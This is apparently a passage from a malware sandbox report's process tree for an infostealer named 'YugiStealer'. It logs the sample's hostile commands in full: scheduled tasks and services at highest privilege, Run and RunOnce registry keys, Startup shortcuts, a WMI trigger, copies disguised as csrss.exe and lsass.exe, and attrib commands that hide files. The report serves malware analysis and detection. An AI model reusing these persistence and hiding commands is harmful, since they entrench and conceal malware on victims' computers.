C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy6\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerCopy6\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Users\Admin\AppData\Local\Temp\2026-07-09_04305ca3be61c9877dff7f04f2474628_akira_glassworm_rusty-stealer.exe\" /sc onstart /f /rl highest"2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Users\Admin\AppData\Local\Temp\2026-07-09_04305ca3be61c9877dff7f04f2474628_akira_glassworm_rusty-stealer.exe\" /sc onstart /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Users\Admin\AppData\Local\Temp\2026-07-09_04305ca3be61c9877dff7f04f2474628_akira_glassworm_rusty-stealer.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Users\Admin\AppData\Local\Temp\2026-07-09_04305ca3be61c9877dff7f04f2474628_akira_glassworm_rusty-stealer.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YugiStealer.lnk'); $Shortcut.TargetPath = \"C:\Users\Admin\AppData\Local\Temp\2026-07-09_04305ca3be61c9877dff7f04f2474628_akira_glassworm_rusty-stealer.exe\"; $Shortcut.Save()"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "Register-WmiEvent -Query \"SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='winlogon.exe'\" -Action { Start-Process \"C:\Users\Admin\AppData\Local\Temp\2026-07-09_04305ca3be61c9877dff7f04f2474628_akira_glassworm_rusty-stealer.exe\" }"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\cmd.exe"cmd" /c "sc create \"YugiStealerSvc\" binPath= \"C:\Users\Admin\AppData\Local\Temp\2026-07-09_04305ca3be61c9877dff7f04f2474628_akira_glassworm_rusty-stealer.exe\" start= auto"2⤵
-
C:\Windows\System32\sc.exesc create \"YugiStealerSvc\" binPath= \"C:\Users\Admin\AppData\Local\Temp\2026-07-09_04305ca3be61c9877dff7f04f2474628_akira_glassworm_rusty-stealer.exe\" start= auto3⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Users\Admin\AppData\Local\Temp\2026-07-09_04305ca3be61c9877dff7f04f2474628_akira_glassworm_rusty-stealer.exe\" /f"2⤵
-
C:\Windows\System32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Users\Admin\AppData\Local\Temp\2026-07-09_04305ca3be61c9877dff7f04f2474628_akira_glassworm_rusty-stealer.exe\" /f3⤵
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Users\Admin\AppData\Local\Temp\2026-07-09_04305ca3be61c9877dff7f04f2474628_akira_glassworm_rusty-stealer.exe\" /f"2⤵
-
C:\Windows\System32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Users\Admin\AppData\Local\Temp\2026-07-09_04305ca3be61c9877dff7f04f2474628_akira_glassworm_rusty-stealer.exe\" /f3⤵
- Modifies registry key
-
-
-
C:\Windows\Temp\2HLsP5rO\TraumatizerV3.exe"C:\Windows\Temp\2HLsP5rO\TraumatizerV3.exe"2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"3⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\wscript.exe"wscript.exe" //B //Nologo C:\Windows\Temp\2HLsP5rO\FartnutsTrauma.vbs2⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c @echo off3⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\2HLsP5rO\FartnutsTrauma.vbs" >nul 2>&13⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Windows\Temp\2HLsP5rO\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\2HLsP5rO\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
- Delays execution with timeout.exe
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Windows\Temp\2HLsP5rO\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\2HLsP5rO\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
- Delays execution with timeout.exe
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Windows\Temp\2HLsP5rO\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$file = Get-Item -Path 'C:\Windows\Temp\2HLsP5rO\FartnutsTrauma.vbs'; if ($file) { $file.Attributes = 'Hidden,System,Archive' }" >nul 2>&13⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c start /B "C:\Users\Admin\AppData\Local\Temp\hide_1688.bat"3⤵
-
C:\Windows\System32\cmd.execmd.exe4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&13⤵
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
- Delays execution with timeout.exe
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&13⤵
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&13⤵
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
- Delays execution with timeout.exe
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs"4⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$file = Get-Item -Path 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs'; if ($file) { $file.Attributes = 'Hidden,System,Archive' }" >nul 2>&13⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c start /B "C:\Users\Admin\AppData\Local\Temp\hide_16836.bat"3⤵
-
C:\Windows\System32\cmd.execmd.exe4⤵
-
-
-
-
C:\Users\Admin\Downloads\TraumatizerV3.exe"C:\Users\Admin\Downloads\TraumatizerV3.exe"2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"3⤵
-
-
-
C:\Windows\system32\wscript.exe"wscript.exe" //B //Nologo C:\Users\Admin\Downloads\FartnutsTrauma.vbs2⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c @echo off3⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&13⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"4⤵
- Views/modifies file attributes
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$file = Get-Item -Path 'C:\Users\Admin\Downloads\FartnutsTrauma.vbs'; if ($file) { $file.Attributes = 'Hidden,System,Archive' }" >nul 2>&13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c start /B "C:\Users\Admin\AppData\Local\Temp\hide_1687.bat"3⤵
-
C:\Windows\System32\cmd.execmd.exe4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&13⤵
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs"4⤵
- Views/modifies file attributes
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&13⤵
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
- Delays execution with timeout.exe
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&13⤵
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs"4⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$file = Get-Item -Path 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs'; if ($file) { $file.Attributes = 'Hidden,System,Archive' }" >nul 2>&13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c start /B "C:\Users\Admin\AppData\Local\Temp\hide_16836.bat"3⤵
-
C:\Windows\System32\cmd.execmd.exe4⤵
-
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "tasklist /v /fo csv"2⤵
-
C:\Windows\System32\tasklist.exetasklist /v /fo csv3⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
-
C:\Windows\Temp\csrss.exeC:\Windows\Temp\csrss.exe1⤵
- Executes dropped EXE
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\Users\Public\Documents\lsass.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\Users\Public\Documents\lsass.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\csrss.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\csrss.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy6\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerCopy6\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Windows\Temp\csrss.exe\" /sc onstart /f /rl highest"2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Windows\Temp\csrss.exe\" /sc onstart /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Windows\Temp\csrss.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Windows\Temp\csrss.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YugiStealer.lnk'); $Shortcut.TargetPath = \"C:\Windows\Temp\csrss.exe\"; $Shortcut.Save()"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "Register-WmiEvent -Query \"SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='winlogon.exe'\" -Action { Start-Process \"C:\Windows\Temp\csrss.exe\" }"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\cmd.exe"cmd" /c "sc create \"YugiStealerSvc\" binPath= \"C:\Windows\Temp\csrss.exe\" start= auto"2⤵
-
C:\Windows\System32\sc.exesc create \"YugiStealerSvc\" binPath= \"C:\Windows\Temp\csrss.exe\" start= auto3⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Windows\Temp\csrss.exe\" /f"2⤵
-
C:\Windows\System32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Windows\Temp\csrss.exe\" /f3⤵
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Windows\Temp\csrss.exe\" /f"2⤵
-
C:\Windows\System32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Windows\Temp\csrss.exe\" /f3⤵
- Modifies registry key
-
-
-
C:\Windows\Temp\nAUssG51\TraumatizerV3.exe"C:\Windows\Temp\nAUssG51\TraumatizerV3.exe"2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"3⤵
-
-
-
C:\Windows\system32\wscript.exe"wscript.exe" //B //Nologo C:\Windows\Temp\nAUssG51\FartnutsTrauma.vbs2⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c @echo off3⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\nAUssG51\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Windows\Temp\nAUssG51\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\nAUssG51\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
- Delays execution with timeout.exe
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Windows\Temp\nAUssG51\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\nAUssG51\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Windows\Temp\nAUssG51\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$file = Get-Item -Path 'C:\Windows\Temp\nAUssG51\FartnutsTrauma.vbs'; if ($file) { $file.Attributes = 'Hidden,System,Archive' }" >nul 2>&13⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c start /B "C:\Users\Admin\AppData\Local\Temp\hide_16831.bat"3⤵
-
C:\Windows\System32\cmd.execmd.exe4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&13⤵
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&13⤵
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&13⤵
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
- Delays execution with timeout.exe
-
-
-
-
C:\Users\Admin\Downloads\TraumatizerV3.exe"C:\Users\Admin\Downloads\TraumatizerV3.exe"2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"3⤵
-
-
-
C:\Windows\system32\wscript.exe"wscript.exe" //B //Nologo C:\Users\Admin\Downloads\FartnutsTrauma.vbs2⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c @echo off3⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
- Delays execution with timeout.exe
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"4⤵
- Views/modifies file attributes
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
- Delays execution with timeout.exe
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
- Delays execution with timeout.exe
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"4⤵
- Views/modifies file attributes
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$file = Get-Item -Path 'C:\Users\Admin\Downloads\FartnutsTrauma.vbs'; if ($file) { $file.Attributes = 'Hidden,System,Archive' }" >nul 2>&13⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c start /B "C:\Users\Admin\AppData\Local\Temp\hide_16833.bat"3⤵
-
C:\Windows\System32\cmd.execmd.exe4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&13⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs"4⤵
- Views/modifies file attributes
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&13⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&13⤵
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "tasklist /v /fo csv"2⤵
-
C:\Windows\System32\tasklist.exetasklist /v /fo csv3⤵
- Enumerates processes with tasklist
-
-
-
C:\Users\Public\Documents\csrss.exe"C:\Users\Public\Documents\csrss.exe"1⤵
- Executes dropped EXE
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\Windows\Temp\services.exe\" /sc onlogon /f /rl highest"2⤵
-
